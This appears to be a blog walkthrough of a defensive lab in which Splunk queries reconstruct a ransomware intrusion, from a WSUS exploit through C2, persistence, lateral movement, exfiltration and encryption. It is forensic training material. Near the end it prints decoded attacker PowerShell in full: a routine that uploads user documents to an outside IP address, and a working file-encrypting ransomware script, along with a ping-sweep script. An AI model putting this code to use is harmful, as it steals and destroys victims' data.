Scenario
On November 17, 2025, network monitoring detected unusual outbound traffic from a DMZ server (10.10.3.0/24) followed by signs of lateral movement toward the internal network (10.10.11.0/24). Hours later, ransomware began encrypting files across multiple endpoints. Investigators recovered a suspicious executable and collected logs from affected systems. Using Splunk and malware analysis techniques, piece together the full attack chain — from initial compromise to final impact.
Initial Access
Q1: This vulnerability was how the attacker gained initial access and later moved to DC01. What is the CVE ID associated with this exploit?
in artifacts directory, you'll find an exe ping.exe zipped file ping.7z , so let’s extract it and analyze it
Press enter or click to view image in full size
It’s a Windows 64-bit program written in Python and C, compiled with Visual Studio, packaged with a modified PyInstaller, containing compressed binary data inside a packed executable.
we can usepyinstxtractor-ng tool to extracts the contents to access its original scripts and resources.
Press enter or click to view image in full size
CVE-2025-59287
Q3: Upon gaining initial access on WSUS-SERVER-01, what user account context were the attacker’s commands executed under?
now, let’s hop on splunk, and run some queries:
index=* host=WSUS-SERVER-01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
| table _time, User, Image, CommandLine, ParentImage
| sort _time ascPress enter or click to view image in full size
NT AUTHORITY\SYSTEM
Q4: The attacker succeeded in installing a tool to function as a C2 beacon. What is the name of the tool they repurposed for C2?
with more comprehensive query like:
index=* host=WSUS-SERVER-01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
| table _time, User, Image, CommandLine, ParentImage
| sort _time ascPress enter or click to view image in full size
from that image, we can see that there’s an encoded command just ran, then opened whoami, then another encoded command. so let’s find out the parent image for these encoded command:
velociraptor
Q5: After checking their access level, the attacker executed another command to determine if WSUS-SERVER-01 was part of a domain.
What is the full command that was executed?
with another more query, to see all commands, with reduce some noise:
index=* host=WSUS-SERVER-01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
| table _time, User, Image, CommandLine, ParentImage | sort _time ascPress enter or click to view image in full size
Press enter or click to view image in full size
Get-ComputerInfo | Select-Object Domain, DomainName, Workgroup
Q6: The attacker performed a network scan to identify live hosts. The scan targeted two specific /24 subnets.
Provide the two network IDs that were scanned, separated by a comma.
with the same last query, just move on some encoded command, and decode these commands with the cyberchef recipe above:
Press enter or click to view image in full size
(10..11 | ForEach-Object { $S = $_; 1..254 | ForEach-Object { "10.10.$S.$_" } })
| ForEach-Object -Parallel { if (Test-Connection -ComputerName $_ -Count 1
-Quiet -ErrorAction SilentlyContinue) { "HOST FOUND: $_" } }
| Out-File -FilePath 'C:\Users\Public\report01.txt' -Append It performs a fast parallel ping sweep of the 10.10.10.0/24 and 10.10.11.0/24
10.10.10.0, 10.10.11.0
Q7: The attacker’s network scanning script looked for specific open ports to identify valid targets. Besides ports 88, 389, 445, and 3389,
what other port number was the attacker scanning for?
Press enter or click to view image in full size
Press enter or click to view image in full size
8530
Persistence
Q8: Unable to directly RDP into the private network, the attacker created a local account on the DMZ server for remote access.
What is the name of this account?
same same:
Press enter or click to view image in full size
guestuser
Q9: After creating the backdoor account, the attacker connected to WSUS-SERVER-01 via RDP. What was the source IP address of this connection?
index=* host=WSUS-SERVER-01 source="xmlwineventlog:security" EventCode=4624
NOT "chocolatey" NOT "splunk" Logon_Type=10 TargetUserName=guestuser
3.120.140.221
Q10: The attacker configured a legitimate service to repeatedly download and execute their payload, ensuring persistence. At what interval (in seconds) was the service configured to download and execute the payload?
with just a little twist from the last splunk query, since there’s a download, so we’ll just remove User="NT AUTHORITY\\SYSTEM" to see more output:
index=* host=WSUS-SERVER-01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 NOT "chocolatey" NOT "splunk"
Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
| table _time, User, Image, CommandLine, ParentImage | sort _time ascPress enter or click to view image in full size
so it’s downloading thev2.msipayload (second stager) and also execute it, if we took a look at the execution time we'll get the answer:
600
Lateral Movement
Q11: The attacker downloaded and used a custom tool on WSUS-SERVER-01 to move laterally to the domain controller.
What was the argument passed to this executable to successfully carry its action?
with the same used query before:
index=* host=WSUS-SERVER-01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
| table _time, User, Image, CommandLine, ParentImage | sort _time ascfollowing this query, we can scroll a little and see this:
Press enter or click to view image in full size
we can see that he executed the same file with 2 different arguments, maybe it’s an error or something
Press enter or click to view image in full size
that’s the first wrong execution, and the following is the second correct one
Press enter or click to view image in full size
also this command can be found directly with more wider query like:
index=* host=WSUS-SERVER-01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
| table _time, User, Image, CommandLine, ParentImage | sort _time ascjust removed the powershell.exe.exe as an image to see all others:
Press enter or click to view image in full size
http://10.10.11.61:8530
Q12: What was the timestamp when the first command was executed on the Domain Controller (DC01) by the attacker after lateral movement?
like the last query, just changed the host to the DC
index=* host=DC01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
| table _time, User, Image, CommandLine, ParentImage | sort _time ascPress enter or click to view image in full size
2025-11-17 22:29
Privilege Escalation
Q13: The attacker used a native Windows command-line utility to change a domain user’s password. What is the timestamp for this modification?
Get Loay Salah’s stories in your inbox
Join Medium for free to get updates from this writer.
with the same last query also, we just need to decode a lot of powershell encoded commands
index=* host=DC01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
| table _time, User, Image, CommandLine, ParentImage | sort _time ascPress enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
2025-11-17 22:35
Q14: Using the compromised domain account identified earlier, the attacker pivoted from the DMZ to the internal network. What is the timestamp of the first successful logon to WKSTN-01?
index=* host=WKSTN-01 source="XmlWinEventLog:security"
earliest="11/17/2025:22:35:00"
EventCode=4624 NOT "chocolatey" NOT "splunk"
| sort _time asc
| head 1
| table _time, Target_User_Name, IpAddress, Logon_Typethis query can get the answer easily, focusing on the timeline that the login must be after the compromised domain account identified in the earlier question 2025-11-17 22:35
Press enter or click to view image in full size
2025-11-17 22:52
Exfiltration
Q15: Analyze the network logs for connections from DC01. How many files were successfully uploaded to the attacker’s exfiltration server?
Now that's a question, thankfully he told us to analyze the network logs, so i got stuck for a while, but eventually found that there's a suricata logs viewed by index=suricata
but before that, we need to identify the source ip and the destination ip first:
source ip is the source ip for the DC, viewed by :
index=* host="DC01"
| stats count by src_ip
| rename src_ip AS "Source IP Address"
| sort -count
| table "Source IP Address", countPress enter or click to view image in full size
most source ip is the ip address for the Domain Controller: 10.10.11.61
now there’s a lot of destination ip addresses, so how to get the exfiltration server correctly?
after a lot of digging and a lot of powershell encoded commands, one of them can let us understand everything easily, use this efficient query:
index=* host=DC01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
CommandLine!="\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -Version 5.1 -s -NoLogo -NoProfile"
| table _time, User, Image, CommandLine, ParentImage | sort _time descPress enter or click to view image in full size
with the 2 latest encoded commands, we can view the penultimate line:
Press enter or click to view image in full size
function GR {$numbers = 1..20;$numbers | Get-Random };
function Upfunction GR {$numbers = 1..20;$numbers | Get-Random };
function Upfile { param ([string]$path = "C:\Users\",
[int]$maxConcurrentJobs = 40) Add-Type -AssemblyName System.Web;
try { $files = Get-ChildItem -Path $path -Recurse -Include
*.doc,*.docx,*.txt,*.xlsx,*.ppt,*.pptx,*.xls -ErrorAction SilentlyContinue
| Where-Object { $_.Length -lt 50MB} | Select-Object -ExpandProperty FullName;
$uploadScriptBlock = { param ($file, $grValue)
try { Add-Type -AssemblyName System.Web;
$fileName = Split-Path -Path $file -Leaf;
$encodedFileName = [System.Web.HttpUtility]::UrlEncode($fileName);
$uploadUrl = "http://18.193.76.209:4000/test/$encodedFileName";
Write-Host "upload $file to $uploadUrl";
$ProgressPreference = 'SilentlyContinue';
$maxRetries = 3;$retryCount = 0; while ($retryCount -lt $maxRetries) { try {
$wc = New-Object System.Net.WebClient;
$wc.UploadFile($uploadUrl, "PUT", $file)
| Out-Null; Write-Host "upload Sucess $fileName"; break } catch
{ $retryCount++; Write-Host "upload $fileName retry $retryCount error: $_";
Start-Sleep -Seconds 2 } finally {$wc.Dispose()} } }
catch { Write-Host "upload $fileName error: $_" } finally {$wc.Dispose()}};
$grValue = GR; $jobs = @(); foreach ($file in $files)
{ while ((Get-Job -State Running).Count -ge $maxConcurrentJobs)
{Start-Sleep -Milliseconds 100} $jobs += Start-Job -ScriptBlock
$uploadScriptBlock -ArgumentList $file, $grValue };
$jobs | Wait-Job | ForEach-Object{ Receive-Job -Job $_ -Keep;
Remove-Job -Job $_ } } catch { Write-Host "getfile error: $_" } };
$drives = @("C:\Users\", "D:\", "E:\", "F:\", "K:\");
foreach ($drive in $drives) { if (Test-Path $drive) {Upfile -Path $drive }
else {Write-Host "Drive $drive is not accessible." -ForegroundColor Yellow}}now we got the attacker’s exfiltration server: 18.193.76.209:4000
let’s hop on suricata logs and filter with the desired ip addresses and the destination port, so let’s get the answer directly:
index=suricata src_ip="10.10.11.61" dest_ip="18.193.76.209"there’s more than1000 events, so the it’s all about filtering with event_type=http
262
Q16: What is the MITRE ATT&CK technique ID that best describes the exfiltration method used by the attacker?
T1048.003
Impact
Q17: In the final stage of the attack, a ransomware payload was deployed across the compromised machines. What file extension was the ransomware designed to append to encrypted files?
index=* host=DC01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
CommandLine!="\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -Version 5.1 -s -NoLogo -NoProfile"
| table _time, User, Image, CommandLine, ParentImage | sort _time descusing this query we used before also, and decode last executed command:
function GER($n) {-join (1..$n|%{"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-=+[]{}|;:',.<>?`~"
[(Get-Random -Maximum 74)]})}function err($pl,$sf)
{$rsa=New-Object System.Security.Cryptography.RSACryptoServiceProvider;
$rsa.FromXmlString($sf);$PB=[Text.Encoding]::UTF8.GetBytes($pl);
$rsa.Encrypt($PB,$false)} function gg($path) {$ke = GER(32);$ig =GER(16);
$sf = 'tdIXltqjmTpXRB43p+k6X9+JqBZvsD7+X4GsM0AVh0QS6Oev5RVAaQqc6m2pEKN7AYARcpz9iNy5JOB/T+OtWmqxd42bLH+iAUjc1kc1qk1Cg38t7obrGja8L7UMoJkb97ry0ngak9BlqaS7P+wzApOLVJoBNxaJ2rCoj7+Crh3p3Vm2/7/o4pMjgg4S838jw6aiRbag/v4SR86oupqjBvKxsAcZo5A4NDFoZ29j/IMa6GNpMkVjsNPjvB/GIqGcbTqJkb8HGSXw3KvHqwqfsB+01VTsbO7B8kIkOr4jB/M+bHFwgYkUG4rS2s/yJcOOkzH0tJwEj11tLv2bHSzoQQ==AQAB';
$eec=err -pl $ke+$ig -sf $sf;$eee=[System.Convert]::ToBase64String($eec);
$key=[System.Text.Encoding]::UTF8.GetBytes($ke);
$iv=[System.Text.Encoding]::UTF8.GetBytes($ig);
try{$files=gci $path -Recurse -Include .pdf,.txt, *.doc, *.docx, *.odt, *.rtf, *.md, *.csv, *.tsv, *.jpg, *.jpeg, *.tiff, *.mp3, *.xls, *.xlsx, *.ods, *.ppt, *.pptx, *.odp, *.py, *.java, *.cpp, *.c, *.html, *.css, *.js, *.php, *.swift, *.kotlin, *.go, *.rb, *.sh, *.sql, *.db, *.sqlite, *.sqlite3, *.mdb, *.sql, *.zip, *.rar, *.7z, *.tar, *.gz, *.bz2, *.iso, *.torrent, *.ini, *.json, *.xml, *.log, *.bak, *.cfg, *.psd, *.vmdk
| select -Expand FullName; foreach ($file in $files)
{ try {EFI $file $key $iv $eee} catch{}}} catch {Write-Host $ }}
function EFI($ifi,$key,$iv,$aT) {if($ifi.EndsWith(".xlockxlock",
[System.StringComparison]::OrdinalIgnoreCase)) {return};
$aes = [System.Security.Cryptography.Aes]::Create();$aes.KeySize = 256;
$aes.Key=$key;$aes.IV=$iv;
try{$yy=New-Object System.IO.FileStream($ifi, [System.IO.FileMode]::
Open,[System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::None);
$xx=$aes.CreateEncryptor($aes.Key, $aes.IV);
$mm = New-Object System.Security.Cryptography.CryptoStream($yy, $xx, [System.Security.Cryptography.CryptoStreamMode]::Write);
$yy.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null; $jj = New-Object byte[] ($yy.Length);
$yy.Read($jj, 0, $jj.Length) | Out-Null; $yy.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;
$mm.Write($jj, 0, $jj.Length); $mm.FlushFinalBlock(); $se = 1 }
catch { Write-Error $_ } finally {if ($mm) { $mm.Dispose() } if ($yy)
{ $yy.Dispose() } }try {$kk = [System.Text.Encoding]::UTF8.GetBytes($aT);
$bb = New-Object System.IO.FileStream($ifi,[System.IO.FileMode]::
Append,[System.IO.FileAccess]::Write,[System.IO.FileShare]::None);
if ($se){$bb.Write($kk, 0, $kk.Length)}} catch {Write-Error $_} finally
{if ($bb) { $bb.Dispose();if ($se){ren $ifi -NewName $ifi".xlockxlock";}}}};
$vg =gdr -PS FileSystem | select -Expand Root;foreach ($II in $vg)
{gg -path "$II"}
.xlockxlock
Q18: The file extension and techniques observed are associated with a known ransomware group. What is the name of this group?
searching online for ransomware group associated with the ransomare extension.xlockxlock
LockBit
Q19: The attacker deployed ransomware across compromised systems, but the encryption was not entirely successful. What is the name of the first file that the ransomware failed to encrypt on WKSTN-01?
trickiest question! with the last 2 executed commands to run the ransomware and exfiltrate the data, the first file failed to encrypt can be logged in the powershell logs (operational logs) Because the ransomware is written and executed entirely in PowerShell so any file-access errors (like a file being locked, in use, or access-denied) are generated by the PowerShell engine itself, so the failure is logged in the PowerShell Operational log with:
EventCode=4100 “It logs an error related to the PowerShell engine when a script or command fails to run”
using a quick query to get the execution time for the ransomware :
index=* source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
NOT "chocolatey" NOT "splunk" EventCode=1 host="WKSTN-01"
| table _time, User, Image, CommandLine, ParentImage
| sort _time descPress enter or click to view image in full size
now we can use our final clean query to et the correct answer:
index=* host="WKSTN-01"
source="XmlWinEventLog:Microsoft-Windows-PowerShell/Operational"
EventCode=4100 earliest="11/18/2025:00:36:17"
| table _time, Payload | sort _timeby sorting the output by time to get the first file correctly:
Press enter or click to view image in full size
auxbase.xml